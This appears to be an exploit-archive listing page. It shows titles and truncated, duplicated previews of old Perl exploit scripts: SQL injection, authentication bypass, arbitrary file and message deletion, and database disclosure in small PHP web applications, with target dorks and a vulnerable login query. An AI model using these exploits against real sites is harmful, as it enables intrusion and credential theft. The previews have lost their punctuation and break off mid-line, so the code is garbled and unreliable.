PunBB Automatic Image Upload <= 1.3.5 Delete Arbitrary File Exploit

No description provided by source. !/usr/bin/perl 0-Day PunBB Automatic Image Upload = v1.3.5 Delete Arbitrary File Vulnerability Coded By Dante90, WaRWolFz Crew Bug Discovered By: Dante90, WaRWolFz Crew Works only if '$AllowDelete = "USERGROUP";' is not commented in "uploadimgconfig.php" FIND...

URA 3.0 - 'cat' SQL Injection

--------------------------------------------------- URA 3.0 cat remote SQL injection Vulnerability --------------------------------------------------- + Author : Chip D3 Bi0s + Email : chipdebiosalt+64gmail.com + Group : LatinHackTeam + Vulnerability : SQL injection ---------info...

PunBB Automatic Image Upload 1.3.5 - Arbitrary File Delete

!/usr/bin/perl 0-Day PunBB Automatic Image Upload $AllowDelete = "Members"; use LWP::UserAgent; use HTTP::Cookies; my $UserName,$PassWord,$DirectoryFile,$DeleteFile = @ARGV; if@ARGV 'Mozilla/5.0', maxredirect = 0, cookiejar = $Cookies, or die $!; sub Login my $Login =...

WebVision 2.1 SQL Injection

!/usr/bin/perl -w WebVision 2.1 n Remote SQL Injection Exploit Demo : http://www.webdev4all.nl/demowebsite/ Dork : Webdevelopment Tinx-IT Dork2: Copyright © 2006-2008 Tinx-IT and open your mind admin panel : www.target.com/path/cms Found by : Mr.tro0oqy E-mail : [email protected] special thank...

WebVision 2.1 (news.php n) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================= WebVision 2.1 news.php n Remote SQL Injection Exploit ======================================================= !/usr/bin/perl -w WebVision 2.1 n Remote SQL Injection Exploit Demo :...

WebVision 2.1 (news.php n) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w WebVision 2.1 n Remote SQL Injection Exploit Demo : http://www.webdev4all.nl/demowebsite/ Dork : Webdevelopment Tinx-IT Dork2: Copyright © 2006-2008 Tinx-IT and open your mind admin panel : www.target.com/path/cms Found by : Mr.tro0oqy Yemeni...

WebVision 2.1 - 'news.php?n' SQL Injection

!/usr/bin/perl -w WebVision 2.1 n Remote SQL Injection Exploit Demo : http://www.webdev4all.nl/demowebsite/ Dork : Webdevelopment Tinx-IT Dork2: Copyright © 2006-2008 Tinx-IT and open your mind admin panel : www.target.com/path/cms Found by : Mr.tro0oqy E-mail : [email protected] special thank...

webLeague 2.2.0 (Auth Bypass) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ========================================================== webLeague 2.2.0 Auth Bypass Remote SQL Injection Exploit ========================================================== !/usr/bin/perl -W WebLeague 2.2.0 Remote Admin Bypass p0c writte...

webLeague 2.2.0 - Authentication Bypass

webLeague 2.2.0 - Authentication Bypass !/usr/bin/perl -W WebLeague 2.2.0 Remote Admin Bypass p0c written by ka0x need magicquotesgpc = Off Vuln code Admin/index.php : 10: $sql="SELECT FROM $admintable WHERE name = '$POSTusername' AND password = '$POSTpassword'"; // --- NOT CLEAN $POST VARS 11:...

Universe CMS 1.0.6 (vnews.php id) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================== Universe CMS 1.0.6 vnews.php id Remote SQL Injection Exploit ============================================================== !/usr/bin/perl -w Universe CMS 1.0.6 id Remote SQL...

Universe CMS 1.0.6 - 'vnews.php?id' SQL Injection

!/usr/bin/perl -w Universe CMS 1.0.6 id Remote SQL Injection Exploit Demo : http://www.universe.uni.org.pl Download : http://www.universe.uni.org.pl/upload/universecms106.rar Found by : Mr.tro0oqy E-mail : [email protected] special thank for my teacher "Stack" system"color e"; print...

EZNewsletter 3 Database Disclosure

!/usr/bin/perl Application Name : EZNewsletter V3 Vulnerable Type : Arbitrary Database Disclosure Vulnerability Infection : Admins Database Download Script Downlaod : http://www.htmljunction.com/eznewsletterv3.zip author : Septemb0x Greetz BHDR, BARCOD3 use lwp::UserAgent; system'cls'; system'tit...

ShopCartDx 4.30 SQL Injection

!/usr/bin/perl 0-Day ShopCartDx 'Mozilla/5.0', maxredirect = 0, cookiejar = $Cookies, or die $!; my $Get = $UserAgent-get$HostName.SQLInjection$MemberID; if$Get-content = /0-91,5 : a-zA-Z0-9-.2,15 : a-zA-Z0-91,15/i refresh$HostName, $1, $2, $3; print " Exploit Successed \n"; print "...

Messages Library 2.0 Message Deletion

!/usr/bin/perl -w Messages Library 2.0 ; $b = LWP::UserAgent-new or die "Could not initialize browser\n"; $b-agent'Mozilla/4.0 compatible; MSIE 7.0; Windows NT 5.1'; $host = $ARGV0 . "/admin/sms.php?Action=Delete&ID=".$id.""; $res = $b-requestHTTP::Request-newPOST=$host; print "\nBrought to you b...

Messages Library 2.0 Arbitrary Delete Message Vulnerability

Exploit for unknown platform in category web applications =========================================================== Messages Library 2.0 Arbitrary Delete Message Vulnerability =========================================================== !/usr/bin/perl -w Messages Library 2.0 ; $b =...

Messages Library 2.0 - Arbitrary Delete Message

Messages Library 2.0 - Arbitrary Delete Message !/usr/bin/perl -w Messages Library 2.0 ; $b = LWP::UserAgent-new or die "Could not initialize browser\n"; $b-agent'Mozilla/4.0 compatible; MSIE 7.0; Windows NT 5.1'; $host = $ARGV0 . "/admin/sms.php?Action=Delete&ID=".$id.""; $res =...

Messages Library 2.0 - Arbitrary Delete Message

!/usr/bin/perl -w Messages Library 2.0 ; $b = LWP::UserAgent-new or die "Could not initialize browser\n"; $b-agent'Mozilla/4.0 compatible; MSIE 7.0; Windows NT 5.1'; $host = $ARGV0 . "/admin/sms.php?Action=Delete&ID=".$id.""; $res = $b-requestHTTP::Request-newPOST=$host; print "\nBrought to you b...

NEWSolved 1.1.6 - login grabber Multiple SQL Injections

NEWSolved 1.1.6 - login grabber Multiple SQL Injections !/usr/bin/perl -w Neversolved.pl Copyright c 2009 by A simple login grabber by lama - 06/23/2009 Tested on: Newsolved 1.1.6 use strict; use LWP::UserAgent; use Getopt::Std; use vars qw/ %opt /; getopts "i:p:u:lfh", %opt ; my @bugs =...

Newsolved 1.1.6 (login grabber) Multiple SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w Neversolved.pl Copyright c 2009 by jmp-esp.net A simple login grabber by lama - 06/23/2009 Tested on: Newsolved 1.1.6 use strict; use LWP::UserAgent; use Getopt::Std; use vars qw/ %opt /; getopts "i:p:u:lfh", %opt ; my @bugs =...

Joomla Component com_php (id) Blind SQL Injection Vulnerability

Exploit for unknown platform in category web applications =============================================================== Joomla Component comphp id Blind SQL Injection Vulnerability ===============================================================...